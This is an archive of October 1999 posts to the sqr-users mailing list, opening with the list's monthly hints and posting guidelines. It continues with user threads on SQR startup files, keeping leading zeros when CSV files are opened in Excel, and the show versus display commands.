From owner-sqr-users@list.iex.net Fri Oct 1 00:09:06 1999 Date: Fri, 1 Oct 1999 00:00:00 -0500 From: Nathan Stratton Treadway Subject: Monthly sqr-users Hints Posting sqr-users Mailing List Hints and Guidelines Nathan Stratton Treadway, Ray Ontko & Co. (nathant@ontko.com) $Revision: 1.5 $ $Date: 1999-08-31 18:59:00-04 $ This document gathers in one location information about the sqr-users mail list. Directions for common list-server commands (including unsubscribing) are given, as are guidelines for list usage. ______________________________________________________________________ Table of Contents 1. Changes Since Previous Version 2. Introduction 2.1 sqr-users Mailing List 2.2 sqr-users Hints and Guidelines Document 2.3 Related Mailing Lists 3. Basic List Server Commands 3.1 Subscribing to the List 3.2 Unsubscribing from the List 3.3 Digests 3.4 Problems 4. Posting to the sqr-users List 4.1 General Guidelines 4.2 Posting a Message 4.3 Replying to a Message 5. Job Announcements ______________________________________________________________________ 1. Changes Since Previous Version Changes since the version dated 1999/04/30: o Reflected the takeover of SQRIBE Technologies by Brio Technology and the resulting new product names (throughout document). o Added additional hints to the "Posting to the sqr-users List" section. 2. Introduction 2.1. sqr-users Mailing List The sqr-users mailing list was created to enable discussion related to the SQR database language from Brio Technology (and to other products in the Brio.Report line). Note: SQR used to be published by SQRIBE Technologies, which was merged into Brio Technology on August 3, 1999. The Brio website has more information on the merger. The mailing list is provided as a service of Ray Ontko & Co. . A searchable archive of past postings to the mailing list is available from the SQR Users Group web site . 2.2. sqr-users Hints and Guidelines Document This document gives various hints and guidelines about the sqr-users mailing list. It will be posted approximately monthly to the mailing list so that new users can see it (and existing users can find it easily). An HTML version of the document is always available at http://www.sqrug.com/sqr-users/sqr-users-hints.html. If you have comments or suggestions about this document, please contact me directly at the address listed in the title section. This document is (C)Copyright 1999 by Ray Ontko & Co. It may be freely copied and distributed provided it is not modified in any way and it retains the original copyright notice. 2.3. Related Mailing Lists psusers : PeopleSoft Users For questions related to any aspect of PeopleSoft (including PeopleSoft-specific SQR issues). To join, follow the link above, or send any message to "psusers-subscribe@egroups.com" . rm-users : ReportMart Users List for discussion of Brio.Portal (previously called ReportMart). To join, follow the link above, or send a message containing the word "subscribe" in the body to "rm-users- request@sqrug.com". 3. Basic List Server Commands Note: The list used to be hosted on usa.net , but the list-hosting service was moved to list.iex.net . The old addresses for the list, list server, and list owner no longer work. A few basic list server commands are listed below. Send these commands as the only line in the body (not the subject line) of an e- mail message sent to "listserv@list.iex.net". 3.1. Subscribing to the List To subscribe to the mailing list, the command is subscribe sqr-users Your Name Note that you do not need to provide your e-mail address as it is taken from your message's header. You will be e-mailed a confirmation number, which you must then send back to the list server software before the command goes into effect. 3.2. Unsubscribing from the List To unsubscribe, the command is simply unsubscribe sqr-users Once again, you will need to confirm your command before it goes into effect. 3.3. Digests Once you are subscribed, you can request to get your messages in digest form (one large message containing all of the posts made each day) by sending the command set sqr-users digests If you use digests you should not just "reply" to the digest mailing. Instead, be sure your message's subject header matches the subject in the original posting to which you are replying, and that you don't include a quoted copy of the entire digest in your post. Use "nodigests" instead of "digests" to restore normal distribution. 3.4. Problems If the above commands do not work, please contact the list manager at "sqr-users-request@list.iex.net". (Do not send a message to the list itself -- no one there can help you with your problem!) Please include a copy of the error message you received from the list server. 4. Posting to the sqr-users List In order to post to the mailing list, you must be subscribed to it (see directions above). 4.1. General Guidelines For any message you send to the list, please: o make sure your mail software is not requesting a "Return Receipt". (If a "Return Receipt Requested" message is sent to the list, several dozen receipt messages will be sent out to the mailing list in reply from other subscribers.) o do not send messages in HTML or other special formats. (These are not usable by many subscribers, especially those who receive their messages in digest format.) o keep in mind that over 500 people will receive your message, and that it will appear in the list archives. Try to keep your messages on-topic and relatively short. Consider sending your message directly to particular people if it won't interest many of the list's subscribers. 4.2. Posting a Message Once you are subscribed, you can post to the list by sending a message to "sqr-users@list.iex.net". Be sure your subject heading describes your specific problem or question (i.e. don't just use "SQR Question"). In the body of your message, please include the following information: o Brio product and version number o Operating system and version number o Database name and version number o Application name (i.e. PeopleSoft) and a version number, if any Also, include a short code sample whenever possible. It's much easier for other people to understand what you are trying to do when they can see the actual code. (At the same time, be careful not to post confidential or proprietary code, since the posting will be placed in a public web archive.) Note that your question should relate to SQR or other Brio Report product in some way. Don't ask questions about PeopleSoft, for example, unless you are having SQR-related issues. To find out your version of SQR, you can run the following program: begin-program show $sqr-ver end-program This will produce a line that looks something like this: SQR/3.0.15/Intel/SCO Unix R3.2 V5.0/Oracle 7.2.2.3/Sep 25 1996 Include the full line of output in your message. Note that the oper- ating system version number listed here is the one under which this copy of SQR was compiled, so you'll still need to include your own information. 4.3. Replying to a Message Messages sent out on the list have a Reply-To header pointing to the list. This means that you should be able to simply use your mail reader's "reply" function to send a reply to the list. Generally, all answers to questions sent out on the list should be public replies, so that other subscribers can benefit. In those cases where a private reply is appropriate, be sure to over-ride the default Reply-To address. If your message is not actually a reply to the earlier message, please do not use the "reply" function. Instead, address a new e-mail message to the list as described in the previous section. (This is because the list archives will incorrectly show the new message in the original thread if you use "reply".) You should quote enough lines from the original message that later readers can understand your answer even if they missed the original question. At the same time, you should remove any unnecessary lines from the quote in order to make your message shorter and easier to understand. (Remember that some people read the mailing list in digest form, and the digests become much larger if unnecessary lines are quoted.) In particular, in order to prevent mail loops, the list server will not accept messages that contain From:, Sender:, etc. lines pointing back to the sqr-users list, even if these lines are quoted (i.e. with ">" characters). Be sure to delete these from your reply message before sending it. 5. Job Announcements SQR-related job announcements are currently allowed on the list, subject to the following restrictions: o The subject line must begin with the words "JOB ANNOUNCEMENT:". o The message should be very short (fewer than 20 lines), giving brief details of the job and a way for those interested to get more information directly (i.e. web page or phone number). o The message should specifically remind people interested in the job to respond directly to the message author (and not to use their mailer's "reply" function, since that would send the reply out on the list). o Post job announcements as infrequently as possible. From owner-sqr-users@list.iex.net Fri Oct 1 07:08:09 1999 Date: Fri, 1 Oct 1999 08:01:22 -0400 From: "Love, Kristin" Subject: Re: -M Max File Question Actually, all you do is create a text file (for example in WordPad). Here is a copy of one of mine: !--------------------------------------------------------------------------- !! !Report : Revenue Report ! File : GBMSM020.DAT ! Report Area : Sales !********************************************************************* !Changing the SQR defaults. QUERIES=100 SQLSIZE=33400 !Anything larger than this causes an Oracle error DYNAMICARGS=200 PROGLINES=4000 PROGLINEPARS=12000 Store your -M file in the same directory as your program. I usually name mine the same name as the SQR and then add .DAT. Other people have different extensions to name theirs... HTH :) Kristin > -----Original Message----- > From: Jason Maurer [SMTP:JMaurer@WIREDEMPIRE.COM] > Sent: Thursday, September 30, 1999 4:45 PM > To: Multiple recipients of list SQR-USERS > Subject: -M Max File Question > > Does anyone know where I can find information about how to construct a > -M (startup file)? Every now and then SQR tells me that I need to add > random lines to this file or increase my value size. I would like to be > able to find some information about this file so I can set it up now > with good sized variable limits so we don't keep running into this > problem. > > Thanks!! From owner-sqr-users@list.iex.net Fri Oct 1 11:43:00 1999 Date: Fri, 1 Oct 1999 16:18:01 +0200 From: Jason Wainwright Subject: Re: SQA Robot Hi list-dwellers I need to print in a garamondi font, in the sqr 4.1 documentation it seems to say that sqr supports the garamondi font in hp. I would very much like to print in this font on an hp, hence I would be ver much grateful if an esteemed list-dweller would please explain to the workings of a "soft font", as I'm lead to believe this is my only chance. thanks in advance From owner-sqr-users@list.iex.net Fri Oct 1 11:41:07 1999 Date: Fri, 1 Oct 1999 12:14:41 -0400 From: Dominick LoGiudice Subject: Creating Excel File from SQR (numeric text) I am trying to create a .csv file from SQR. My problem is fields like ssn which could have a leading 0. No matter what I try it when I open the .csv file in excel it drops the leading 0. "012345678" becomes 12345678. How do you write out numeric text fields? From owner-sqr-users@list.iex.net Fri Oct 1 11:43:56 1999 Date: Fri, 1 Oct 1999 11:25:02 -0500 From: Todd Becker Subject: Re: Creating Excel File from SQR (numeric text) Excel needs to know that the field is to be treated like a text field. This can be done during the import into Excel when each columns data types can be identified. You might also try surrounding the value in double quotes. This is the default text identifier for Excel imports. Good luck. Todd Dominick LoGiudice on 10/01/99 11:14:41 AM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Todd W Becker/IS/CCC) Subject: Creating Excel File from SQR (numeric text) I am trying to create a .csv file from SQR. My problem is fields like ssn which could have a leading 0. No matter what I try it when I open the .csv file in excel it drops the leading 0. "012345678" becomes 12345678. How do you write out numeric text fields? From owner-sqr-users@list.iex.net Fri Oct 1 11:45:36 1999 Date: Fri, 1 Oct 1999 11:30:39 -0500 From: "Johnson, Joe" Subject: Re: Creating Excel File from SQR (numeric text) Dominick, I had a similar problem with a txt file delimited by semi-colons. I had a salesperson ID that would be '00000706' In Excel, I had to format that column as Text, not as General. Then, the leading 0's were included -- in General format, the leading 0's were lost. HTH Joe Johnson Snelling and Snelling Corporation 972-776-1332 -----Original Message----- From: Dominick LoGiudice [mailto:dlogiudice@PINE.VPCC.SUNYSB.EDU] Sent: Friday, October 01, 1999 11:15 AM To: Multiple recipients of list SQR-USERS Subject: Creating Excel File from SQR (numeric text) I am trying to create a .csv file from SQR. My problem is fields like ssn which could have a leading 0. No matter what I try it when I open the .csv file in excel it drops the leading 0. "012345678" becomes 12345678. How do you write out numeric text fields? From owner-sqr-users@list.iex.net Fri Oct 1 11:42:51 1999 Date: Fri, 1 Oct 1999 09:34:20 -0700 From: Robert Stojkovic Subject: Re: Creating Excel File from SQR (numeric text) Hope this helps Have the column be set as text in the import definition in excel Robert > -----Original Message----- > From: Discussion of SQR, SQRIBE Technologies's database reporting > language [mailto:SQR-USERS@list.iex.net]On Behalf Of Dominick LoGiudice > Sent: Friday, October 01, 1999 9:15 AM > To: Multiple recipients of list SQR-USERS > Subject: Creating Excel File from SQR (numeric text) > > > I am trying to create a .csv file from SQR. > My problem is fields like ssn which could have a leading 0. No > matter what I > try it > when I open the .csv file in excel it drops the leading 0. > "012345678" becomes 12345678. > How do you write out numeric text fields? > From owner-sqr-users@list.iex.net Fri Oct 1 11:44:18 1999 Date: Fri, 1 Oct 1999 11:34:50 -0500 From: "Rao, Sam" Subject: Re: Creating Excel File from SQR (numeric text) Preface your numeric text fields with a Single Quote (tick). This forces Excel to treat the entry as Text. HTH, Sam Rao > -----Original Message----- > From: Dominick LoGiudice [SMTP:dlogiudice@PINE.VPCC.SUNYSB.EDU] > Sent: Friday, October 01, 1999 11:15 AM > To: Multiple recipients of list SQR-USERS > Subject: Creating Excel File from SQR (numeric text) > > I am trying to create a .csv file from SQR. > My problem is fields like ssn which could have a leading 0. No matter > what I > try it > when I open the .csv file in excel it drops the leading 0. > "012345678" becomes 12345678. > How do you write out numeric text fields? From owner-sqr-users@list.iex.net Fri Oct 1 11:46:38 1999 Date: Fri, 1 Oct 1999 12:38:16 -0400 From: Pam Lantzy Subject: Re: Creating Excel File from SQR (numeric text) I just discovered a solution earlier this week myself. When write the .csv datafile in sqr if you know the field is going to be numeric you can string an equal sign with double quotes around the field Example: ="0001234" This indicates in excel that its a numeric and not to strip the leading zeros. One problem with this though is if the user resaves this .csv with the same name in excel this notation is gone and when you reopen the .csv again in Excel the leading zeros will disappear. Pam Dominick LoGiudice wrote: > I am trying to create a .csv file from SQR. > My problem is fields like ssn which could have a leading 0. No matter what I > try it > when I open the .csv file in excel it drops the leading 0. > "012345678" becomes 12345678. > How do you write out numeric text fields? From owner-sqr-users@list.iex.net Fri Oct 1 11:47:53 1999 Date: Fri, 1 Oct 1999 10:38:32 -0600 From: "Duckworth, Jerry" Subject: Re: Creating Excel File from SQR (numeric text) It doesn't sound like the problem is with your csv file. This is a problem with Excel. Excel doesn't seem to notice the quotes around the text fields that are numeric and will always drop the leading 0's unless you specify the column as text when you are opening the file. > -----Original Message----- > From: Dominick LoGiudice [SMTP:dlogiudice@PINE.VPCC.SUNYSB.EDU] > Sent: Friday, October 01, 1999 10:15 AM > Subject: Creating Excel File from SQR (numeric text) > > I am trying to create a .csv file from SQR. > My problem is fields like ssn which could have a leading 0. No matter > what I > try it > when I open the .csv file in excel it drops the leading 0. > "012345678" becomes 12345678. > How do you write out numeric text fields? From owner-sqr-users@list.iex.net Fri Oct 1 12:02:20 1999 Date: Fri, 1 Oct 1999 12:52:05 -0400 From: Kimberly Lawrence Subject: Re: Creating Excel File from SQR (numeric text) --0__=VSCmEQZzeatL0d5VqZtjsECMkpaZLwt536FW1930sPvhDgkIXIsh0PRD Content-type: text/plain; charset=us-ascii Content-Disposition: inline I create my files as Silk (.slk). Then you can include formatting instructions in the file itself. You can check the archives for examples of silk files or contact me directly and I would be happy to provide you with an example. (Embedded image moved Dominick LoGiudice to file: pic17202.pcx) 10/01/99 12:14 PM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Kimberly Lawrence/MIS/Circuit City) Subject: Creating Excel File from SQR (numeric text) I am trying to create a .csv file from SQR. My problem is fields like ssn which could have a leading 0. No matter what I try it when I open the .csv file in excel it drops the leading 0. "012345678" becomes 12345678. How do you write out numeric text fields? --0__=VSCmEQZzeatL0d5VqZtjsECMkpaZLwt536FW1930sPvhDgkIXIsh0PRD Content-type: application/octet-stream; name="pic17202.pcx" Content-Disposition: attachment; filename="pic17202.pcx" Content-transfer-encoding: base64 CgUBCAAAAABoACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAABaQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAD1E9sTzRPHE8MTwhP1E9sTzRPHE8MTwhP1E9sTzRPHE8MTwhP1E9sTzRPH E8MTwhP1E9sTzRPHE8MTwhP1E9sTzRPHE8MTwhP1E9sTzRPHE8MTwhP1E9sTzRPHE8MTwhP1E9sT zRPHE8MTwhPwEwzIBgzYE8wTxhPDE8IT7hPOBtcTzBPGE8MTE+wTwgbCBwbCEgbCEgbCEsUG1hPL E8YTwxMT6hMMwgYHwgLCAwISwgfEEsMCwwbVE8sTxRPDExPpE8MGAwcCBwMCwhLDB8ISwgISwgLD BtUTyhPFE8MTE+gTwgIHA8ICEw4DDgLDE8USwwLCEMIG1BPKE8UTwxMT5xMCAwcDAg4TDgITwgIS D8ISD8ISBRICEcICwwbUE8oTxRPCExPmEwYCBwMCDgIOwgLDExITEhPCEg8GxgLDBtMMDAfJE8QT whMT5hMGwwITBgMCDhLFEw8SE8ISBgIDwhIDEsMGB9MDxwwHxRPDExPlEwYHAhESAg8CwhMPwhMP xBMPxRIQwgIDAgMCBtMDxwPEDAfDE8IT4RMHwwzCBgLCEhMCDxLIE8MSD8MSwwIQAwIDBgfSDMkD wgPCDAfCExPbEwfGDMIDDAIHERITEhMSwxMPwxMPwxPDEgIDAgMCwwMCBgzREwfHDMYDDMITE9YT B8UMyAMGB8ICBhLDAsYTEhMSExIPwhIHAgcCAwUQAgYRBgfSE8UTB8QMwgMMwhMT0hMHxAzLA8IM BsISDxESExITAw4DxBMSExITwxICBwPCAsMDDMIGB9ITyRMHwwzCExPPEwfDDMkDxQwHwhMGBxIT AhECEwMOAg7DExITDxMPwxIDAgMCBwMCDAYRBgfSE8kTwhPCDMITE8wTB8MMxwPEDMIHxxMGxBLD Ag4DDgIGwg/IEgIDwgIDAgwCEMIGB9ITyRMHDAcMwhMTyhMHwgzGA8MMwgfMEwYHwhLCEAIOAg4C DhDDAhIPxhIFAgXDAgUCEQYH0hPHEwfCDAcPDMITE8gTB8IMxQPDDAfQEwbDEhDEAhAOEA4QwgLG EgcSBhIGBcMCBcIGB9ATB8UMEwfCDA8HDwwHwhMTxhMHwgzEA8MMB9MTBgfCEhADEMICDhAOEMIC EQIDxxIGBwbCAgUCEQYHyxMHxAwHwhMHEwzCEwcPBw8MB8MTE8UTBwzEA8IMB9YTBsQSEAMCA8UC EQIDAgPDEgcSBgfCBgUQAhDCBgfGEwfEDAfGE8INEwzCEw8HwgwHwxPCE8QTBwzDA8IMB9gTBgfE EhACEMYCEQIDAsQSBhLDBsICEALCBgfCEwfDDAfKEwfCDRMHwhPCDAfEE8ITE8MTBwzCA8IMB9oT DBIHwxLDDBEDxQIDAgPDEgYSBgfCBgIQAhAGDAfCEwzDE8MHyRMHwhPCBxMHxRPDExPDEwzCAwwH 3RMGxxICEQPDAgMCA8MSBhIGBwYMBhACEAIGDMMTDBPCB8YTwwfHEwfGE8MTwhPDEwwDDAfeEwYH xxICEQPDAgMCwhIGEgYHBgwGEAIQAsIGB8MTDMYTwwfKEwzGE8MTwhPDE8IMB98TDBLCB8USAgMR xAISB8ISBgcGDAYQBhAGEAYMB8MMB8kTwwfHEwzGE8MTwhPDEwwPwgzfEwYSB8ISB8ISAhECAwID EgcSBwYHBgwGEAYQxgzDD8IHxRPDB8kTBwzGE8MTwhPDEwzDD8QM3BPCBhIGwxIGAhECAwIHBgcG yAzJDxMHzRMHwwwHxxPDE8ITwxMHDMYPxwwH1BMGEgYSBhLLDM4PwwwTDMcTwgfEDAfJE8QTwhMT xBMHwgzLD9sM0w/GDAfDEwzDEwfEDAfLE8YTwxMTxhMHxAztD8gMBgfIE8QMB84TxxPDE8ITyhMH xwzbD8sMEAUMBcIMwgYH1RPKE8UTwxMT0RMH2wwGEAYQBhACBQwFDAUMBgwHBgfWE8sTxRPDExPu EwYMBhAGEAIGDAYMwwYH1xPLE8YTwxMT8BPKBgfYE8wTxhPDExP1E9sTzRPHE8MTwhP1E9sTzRPH E8MTwhMMAAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCkgICA/wAAAP8A//8AAAD/ /wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCkgICA/wAAAP8A//8A AAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCkgICA/wAAAP8A //8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCkgICA/wAA AP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCkgICA /wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCk gICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vw oKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw //vwoKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzA psrw//vwoKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDA wNzApsrw//vwoKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICA wMDAwNzApsrw//vwoKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACA AICAwMDAwNzApsrw//vwoKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACA gACA//vwoKCkgICA/wAAAP8A//8AAAD//wD/AP////// --0__=VSCmEQZzeatL0d5VqZtjsECMkpaZLwt536FW1930sPvhDgkIXIsh0PRD-- From owner-sqr-users@list.iex.net Fri Oct 1 12:02:31 1999 Date: Fri, 1 Oct 1999 12:54:01 -0400 From: Sam Spritzer Subject: Re: Creating Excel File from SQR (numeric text) Dom, Chances are that you are sending the field with the leading zeroes but when you import the file you have to specify that column as text not number. Sam <<< Dominick LoGiudice 10/ 1 12:14p >>> I am trying to create a .csv file from SQR. My problem is fields like ssn which could have a leading 0. No matter what I try it when I open the .csv file in excel it drops the leading 0. "012345678" becomes 12345678. How do you write out numeric text fields? From owner-sqr-users@list.iex.net Fri Oct 1 12:03:30 1999 Date: Fri, 1 Oct 1999 11:57:03 -0500 From: Kevin Burke Subject: Re: Creating Excel File from SQR (numeric text) In the past I have formatted the cells in Excel using 'Format/Cells/custom' you can then specify 000000000 or 000-00-0000 and it will keep the data with zero's on the left. -Kevin Burke PeopleSoft System Administrator Metropolitian Community Colleges (816) 759-1414 mailto:burke@kcmetro.cc.mo.us -----Original Message----- From: Discussion of SQR, SQRIBE Technologies's database reporting language [mailto:SQR-USERS@list.iex.net]On Behalf Of Johnson, Joe Sent: Friday, October 01, 1999 11:31 AM To: Multiple recipients of list SQR-USERS Subject: Re: Creating Excel File from SQR (numeric text) Dominick, I had a similar problem with a txt file delimited by semi-colons. I had a salesperson ID that would be '00000706' In Excel, I had to format that column as Text, not as General. Then, the leading 0's were included -- in General format, the leading 0's were lost. HTH Joe Johnson Snelling and Snelling Corporation 972-776-1332 -----Original Message----- From: Dominick LoGiudice [mailto:dlogiudice@PINE.VPCC.SUNYSB.EDU] Sent: Friday, October 01, 1999 11:15 AM To: Multiple recipients of list SQR-USERS Subject: Creating Excel File from SQR (numeric text) I am trying to create a .csv file from SQR. My problem is fields like ssn which could have a leading 0. No matter what I try it when I open the .csv file in excel it drops the leading 0. "012345678" becomes 12345678. How do you write out numeric text fields? From owner-sqr-users@list.iex.net Fri Oct 1 13:06:42 1999 Date: Fri, 1 Oct 1999 13:25:23 -0400 From: Greg Hesla Subject: Re: Creating Excel File from SQR (numeric text) The quickest way to fix this is to change the extension from .csv to .txt, then import it into Excel as a delimited file, with commas being the delimiter. When you get to the part where you designate field types, designate this field as a text field and it will include the preceeding zeros. Greg ----- Original Message ----- From: Dominick LoGiudice To: Multiple recipients of list SQR-USERS Sent: Friday, October 01, 1999 12:14 PM Subject: Creating Excel File from SQR (numeric text) > I am trying to create a .csv file from SQR. > My problem is fields like ssn which could have a leading 0. No matter what I > try it > when I open the .csv file in excel it drops the leading 0. > "012345678" becomes 12345678. > How do you write out numeric text fields? > From owner-sqr-users@list.iex.net Fri Oct 1 12:44:35 1999 Date: Fri, 1 Oct 1999 13:26:41 -0400 From: Greg Hesla Subject: Re: Creating Excel File from SQR (numeric text) This will just make it look like it has the leading zeros. If you attempt to perform a lookup or comparison against another spreadsheet containing text-formatted values, they will never be equal. Greg ----- Original Message ----- From: Kevin Burke To: Multiple recipients of list SQR-USERS Sent: Friday, October 01, 1999 12:57 PM Subject: Re: Creating Excel File from SQR (numeric text) > In the past I have formatted the cells in Excel using 'Format/Cells/custom' > you can then specify 000000000 or 000-00-0000 and it will keep the data with > zero's on the left. > > > -Kevin Burke > PeopleSoft System Administrator > Metropolitian Community Colleges > (816) 759-1414 > mailto:burke@kcmetro.cc.mo.us > > -----Original Message----- > From: Discussion of SQR, SQRIBE Technologies's database reporting language > [mailto:SQR-USERS@list.iex.net]On Behalf Of Johnson, Joe > Sent: Friday, October 01, 1999 11:31 AM > To: Multiple recipients of list SQR-USERS > Subject: Re: Creating Excel File from SQR (numeric text) > > Dominick, > > I had a similar problem with a txt file delimited by semi-colons. > > I had a salesperson ID that would be '00000706' > > In Excel, I had to format that column as Text, not as General. > > Then, the leading 0's were included -- in General format, the leading 0's > were lost. > > HTH > > Joe Johnson > Snelling and Snelling Corporation > 972-776-1332 > > > -----Original Message----- > From: Dominick LoGiudice [mailto:dlogiudice@PINE.VPCC.SUNYSB.EDU] > Sent: Friday, October 01, 1999 11:15 AM > To: Multiple recipients of list SQR-USERS > Subject: Creating Excel File from SQR (numeric text) > > I am trying to create a .csv file from SQR. > My problem is fields like ssn which could have a leading 0. No matter what > I > try it > when I open the .csv file in excel it drops the leading 0. > "012345678" becomes 12345678. > How do you write out numeric text fields? > From owner-sqr-users@list.iex.net Fri Oct 1 16:46:40 1999 Date: Fri, 1 Oct 1999 17:34:54 EDT From: Norman Dolph Subject: Clueless questions 3, 4 & 5 + HP LaserJet Thots First thanks to all who were helpful with 1 and 2 3. The documentation and other code I have examined often sets flags to ' ' (that is two apostrophies separated by one space). Is this functionally equivalent to setting it = to '' (two apostrophies with no space between them) Is this ' ' setting the value to: NULL, An empty String, or a string that holds exactly one space? -------------- 4. What are the hard rules for what MUST ALWAYS BE INDENTED, and MUST NEVER BE INDENTED 5. Is the command MOVE 'FOO' to $BAR fully equivalent to the statement LET $BAR = 'FOO' If you had to code a lot of these, which is the more elegant way to do it. Many thanks Norman Dolph PS every body with HP Printer questions should get, what i assume is still free, from HP -- the HP HPCL Technical Manual. When you open a New laserjet, the USER manual inside comes with a coupon for the TECHNICAL manual. Mail it in and they send you one. At least they did with my model 4 and 5's. All of the strings for rules, shading, fonts, duplex printing and character sets are there. It is very helpful. The User manual only scratches the surface. From owner-sqr-users@list.iex.net Sun Oct 3 12:05:30 1999 Date: Sun, 3 Oct 1999 12:07:39 -0500 From: Gopal Nandakumar Subject: Change of Email Address How do I change my email address for SQR Users Group? Gopal. From owner-sqr-users@list.iex.net Sun Oct 3 13:53:42 1999 Date: Sun, 3 Oct 1999 13:42:07 -0500 From: Ray Ontko Subject: Re: Clueless questions 3, 4 & 5 + HP LaserJet Thots Norman, 3) These two are NOT the same: move '' to $var move ' ' to $var 4) Select expressions (column names) and the FROM keyword in a select must not be indented. SQR commands inside a begin-select must be indented. 5) These two statements are functionally equivalent, but the first is faster than the second: move 'FOO' to $bar let $bar = 'FOO' Ray > 3. The documentation and other code I have examined often sets flags to ' ' > (that is two apostrophies separated by one space). > Is this functionally equivalent to setting it = to '' (two apostrophies with > no space between them) > > Is this ' ' setting the value to: NULL, An empty String, or a string > that holds exactly one space? > -------------- > 4. What are the hard rules for what MUST ALWAYS BE INDENTED, and > MUST NEVER BE INDENTED > > 5. Is the command MOVE 'FOO' to $BAR fully equivalent to > the statement LET $BAR = 'FOO' > If you had to code a lot of these, which is the more elegant way to do > it. > > Many thanks > Norman Dolph > > PS every body with HP Printer questions should get, what i assume is still > free, from HP -- the HP HPCL Technical Manual. When you open a New laserjet, > the USER manual inside comes with a coupon for the TECHNICAL manual. Mail it > in and they send you one. At least they did with my model 4 and 5's. > > All of the strings for rules, shading, fonts, duplex printing and character > sets are there. It is very helpful. The User manual only scratches the > surface. > ---------------------------------------------------------------------- Ray Ontko | Ray Ontko & Co | Software Consulting Services rayo@ontko.com | Richmond, In | http://www.ontko.com/ From owner-sqr-users@list.iex.net Mon Oct 4 10:43:38 1999 Date: Mon, 4 Oct 1999 10:30:34 -0500 From: "Ross, Steven" Subject: Show vs. Display Does anyone know the difference between the Show command and the Display command? The SQR manual isn't too clear. I've got an SQR that uses both, and for some reason, the Show command doesn't display anything. TIA, Steven Ross Programmer/Analyst sross@kcm.org From owner-sqr-users@list.iex.net Mon Oct 4 10:54:42 1999 Date: Mon, 4 Oct 1999 08:44:38 -0700 From: Joe Johnson Subject: Re: Show vs. Display On Mon, 04 October 1999, "Ross, Steven" wrote: > > Does anyone know the difference between the Show command and the Display > command? The SQR manual isn't too clear. > > I've got an SQR that uses both, and for some reason, the Show command > doesn't display anything. > > TIA, > Steven Ross > Programmer/Analyst > sross@kcm.org Steven, Show gives more power than Display -- with Show, you can display multiple fields with one Show statement as well as letting you control cursor placement on the screen and do things like send beep signals or underline/bold screen fields. When there is nothing displayed, that means the Select statement isn't right. HTH ;{) __________________________________________ $14.95 a month Unlimited Internet Access. Get your first month for $1.00. http://www.surfree.com/promo From owner-sqr-users@list.iex.net Mon Oct 4 10:55:19 1999 Date: Mon, 4 Oct 1999 08:45:19 -0700 From: Joe Johnson Subject: Re: Show vs. Display On Mon, 04 October 1999, "Ross, Steven" wrote: > > Does anyone know the difference between the Show command and the Display > command? The SQR manual isn't too clear. > > I've got an SQR that uses both, and for some reason, the Show command > doesn't display anything. > > TIA, > Steven Ross > Programmer/Analyst > sross@kcm.org Steven, Show gives more power than Display -- Show allows you to display multiple fields with one Show statement as well as letting you control cursor placement on the screen and do things like send beep signals or underline/bold screen fields. When there is nothing displayed, that means the Select statement isn't right. HTH ;{) __________________________________________ $14.95 a month Unlimited Internet Access. Get your first month for $1.00. http://www.surfree.com/promo From owner-sqr-users@list.iex.net Mon Oct 4 11:05:55 1999 Date: Mon, 4 Oct 1999 10:55:01 -0500 From: "Ross, Steven" Subject: Re: Show vs. Display Joe, Okay, thanks for the "multiple" answer...that clears that up. But as far as it not working goes, there isn't a Select statement involved: show 'Begin Job: ' $AsOfToday ' ' $AsOfNow display ' ' show $ReportTitle display ' ' This is in the Init-Report procedure, before any Selects are done. Now, I think the displays are working, as there are several blank lines in the SQRW window... Thanks, Steven Ross Programmer/Analyst sross@kcm.org > -----Original Message----- > From: Joe Johnson [mailto:jejohn1216@SURFREE.COM] > Sent: Monday, October 04, 1999 10:45 AM > Subject: Re: Show vs. Display > > On Mon, 04 October 1999, "Ross, Steven" wrote: > > > > Does anyone know the difference between the Show command and the Display > > command? The SQR manual isn't too clear. > > > > I've got an SQR that uses both, and for some reason, the Show command > > doesn't display anything. > > Steven, > > Show gives more power than Display -- with Show, you can > display multiple fields with one Show statement as well as > letting you control cursor placement on the screen and do > things like send beep signals or underline/bold screen fields. > > When there is nothing displayed, that means the Select > statement isn't right. From owner-sqr-users@list.iex.net Mon Oct 4 11:12:34 1999 Date: Mon, 4 Oct 1999 09:04:49 -0700 From: Joe Johnson Subject: Re: Show vs. Display On Mon, 04 October 1999, "Ross, Steven" wrote: > > Joe, > > Okay, thanks for the "multiple" answer...that clears that up. But as far as > it not working goes, there isn't a Select statement involved: > > show 'Begin Job: ' $AsOfToday ' ' $AsOfNow > display ' ' > show $ReportTitle > display ' ' > > This is in the Init-Report procedure, before any Selects are done. Now, I > think the displays are working, as there are several blank lines in the SQRW > window... > > Thanks, > > Steven Ross > Programmer/Analyst > sross@kcm.org Steven, Is there a Let $ReportTitle = 'Whatever I'm Calling My Report' statement? Or, a Move 'Whatever I'm Calling My Report' to $ReportTitle ? - Joe Johnson ;{) __________________________________________ 